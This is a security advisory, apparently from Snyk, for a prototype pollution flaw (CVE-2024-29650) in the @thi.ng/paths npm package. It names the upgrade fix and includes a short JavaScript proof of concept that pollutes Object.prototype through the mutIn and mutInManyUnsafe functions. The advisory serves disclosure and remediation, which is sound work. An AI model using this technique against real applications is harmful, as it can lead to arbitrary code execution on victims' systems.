Improper Control of Dynamically-Managed Code Resources Affecting @thi.ng/paths package, versions <5.1.63


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Control of Dynamically-Managed Code Resources vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-THINGPATHS-6483837
  • published26 Mar 2024
  • disclosed25 Mar 2024
  • creditTariq Hawis

Introduced: 25 Mar 2024

CVE-2024-29650  (opens in a new tab)
CWE-1321  (opens in a new tab)

How to fix?

Upgrade @thi.ng/paths to version 5.1.63 or higher.

Overview

@thi.ng/paths is an Immutable, optimized and optionally typed path-based object property / array accessors with structural sharing

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the improper handling of object properties in the mutIn and mutInManyUnsafe components. An attacker can execute arbitrary code on the victim's system by supplying a specially crafted object.

PoC

(async () => {
  const lib = await import('@thi.ng/paths');

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
// Un-comment on at a time
paths.mutIn({},[["__proto__"], "polluted"], true)
paths.mutInManyUnsafe({},[["__proto__"], "polluted"], true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

CVSS Scores

version 3.1